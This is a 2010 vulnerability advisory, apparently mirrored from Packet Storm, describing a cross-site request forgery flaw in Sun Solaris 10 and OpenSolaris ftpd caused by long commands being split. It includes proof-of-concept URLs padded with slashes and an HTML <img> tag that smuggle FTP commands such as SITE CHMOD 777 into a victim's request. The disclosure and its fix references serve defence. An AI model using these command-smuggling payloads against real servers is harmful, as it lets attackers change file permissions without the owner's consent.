Lucene search
K

Sun Solaris 10 ftpd Cross Site Request Forgery

🗓️ 22 May 2010 00:00:00Reported by Maksymilian ArciemowiczType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 17 Views

Sun Solaris 10 ftpd Cross-site request forgery affects Sun Solaris 10 and OpenSoalris 2009.06, leading to unintentional requests and data disclosure or code execution

Code
`-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA1  
  
[ Sun Solaris 10 ftpd Cross-site request forgery ]  
  
Author: Maksymilian Arciemowicz  
SecurityReason.com  
Date:  
- - Dis.: 24.02.2010  
- - Pub.: 21.05.2010  
  
Affected Software:  
- - Sun Solaris 10 10/09  
- - OpenSoalris 2009.06  
  
Original URL:  
http://securityreason.com/achievement_securityalert/84  
  
  
- --- 0.Description ---  
in.ftpd is the Internet File Transfer Protocol (FTP) server process. The  
server may be invoked by the Internet daemon inetd(1M) each time a  
connection to the FTP service is made or run as a standalone server.  
  
CWE-352:  
When a web server is designed to receive a request from a client without  
any mechanism for verifying that it was intentionally sent, then it  
might be possible for an attacker to trick a client into making an  
unintentional request to the web server which will be treated as an  
authentic request. This can be done via a URL, image load,  
XMLHttpRequest, etc. and can result in data disclosure or unintended  
code execution.  
  
  
- --- 1. Sun Solaris 10 ftpd Cross-site request forgery ---  
The main problem exists in dividing long command for few others. The  
problem stems from the fact the use of the loop for(;;) and function  
fgets(). etc  
  
Example:  
ftp://ftp.sun.com////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////  
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////  
/////////////////////////////////////////////////////////////////////////////////stat  
  
  
or  
  
ftp://ftp.sun.com////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////  
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////  
/////////////////////////////////////////////////////////////////////////////////pwd  
  
  
tested od firefox 3.6.3  
  
Example 2 (2048):  
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////  
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////  
////////////////////////////////////////////////////////////////pwd  
  
will be split for:  
  
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////  
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////  
////////////////////////////////////////////////////////////////  
  
and  
  
pwd  
  
Example 3:  
ftp://192.168.11.143/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////  
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////  
////////////////////////////////////////////////////////////////////////////////////site  
chmod 777 .  
  
  
The situation, can be dangerous, when this bug will be exploited like  
any CSRF attack. We can use SITE CHMOD command to change file permission  
or other combinations with ftp commands. Only we need some exploit and  
luck, that admin will executed exploited url.  
  
How to exploit it?  
  
0.  
Creating some html file with <img> tags  
<img src="ftp://.....////SITE%20CHMOD%20777%20FILENAME">  
...  
  
1.  
Give preparing URL for user.  
  
Example:  
ftp://....////////////////////////////////////////////////////  
///////////////////////////////////////////////////////////////////////////  
//SITE%20CHMOD%20777%20EXAMPLEFILE  
  
will change permision to EXAMPLEFILE when the owner will use this URL.  
  
I think, it should be some byte, what inform about overflowing (empty  
command should nulling this byte), like in openbsd fix for ftpd.  
  
This vulnerability can also be used not only as CSRF. If we create an  
interface based on PHP-ftp, you can inject arbitrary FTP command,  
bypassing the access to the FTP server.  
  
Similar vulnerabilities (1024chars split):  
ftp://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2008-014.txt.asc  
http://security.freebsd.org/advisories/FreeBSD-SA-08:12.ftpd.asc  
http://security.freebsd.org/advisories/FreeBSD-SA-09:01.lukemftpd.asc  
  
  
  
- --- 2. Fix ---  
Sun bug 6946945  
  
http://cvsweb.de.netbsd.org/cgi-bin/cvsweb.cgi/src/libexec/ftpd/extern.h#rev1.55.8.1  
http://cvsweb.de.netbsd.org/cgi-bin/cvsweb.cgi/src/libexec/ftpd/ftpcmd.y#rev1.84.8.1  
http://cvsweb.de.netbsd.org/cgi-bin/cvsweb.cgi/src/libexec/ftpd/ftpd.c#rev1.177.6.4  
http://cvsweb.de.netbsd.org/cgi-bin/cvsweb.cgi/src/libexec/ftpd/version.h#rev1.65.12.2  
  
  
- --- 3. Greets ---  
sp3x Infospec pi3  
  
  
- --- 4. Contact ---  
Author: SecurityReason.com [ Maksymilian Arciemowicz ]  
- - cxib {a\./t] securityreason [d=t} com  
  
GPG:  
- - http://securityreason.com/key/Arciemowicz.Maksymilian.gpg  
  
http://securityreason.com/  
http://securityreason.com/exploit_alert/ - Exploit Database  
http://securityreason.com/security_alert/ - Vulnerability Database  
  
-----BEGIN PGP SIGNATURE-----  
  
iEYEARECAAYFAkv2fwcACgkQpiCeOKaYa9YmBACfcg4mv2fQRN+nnhFjiHgWM1Ih  
1tAAoOm1j98SfZTY9qr72rPr5/qt3ek1  
=Xng3  
-----END PGP SIGNATURE-----  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation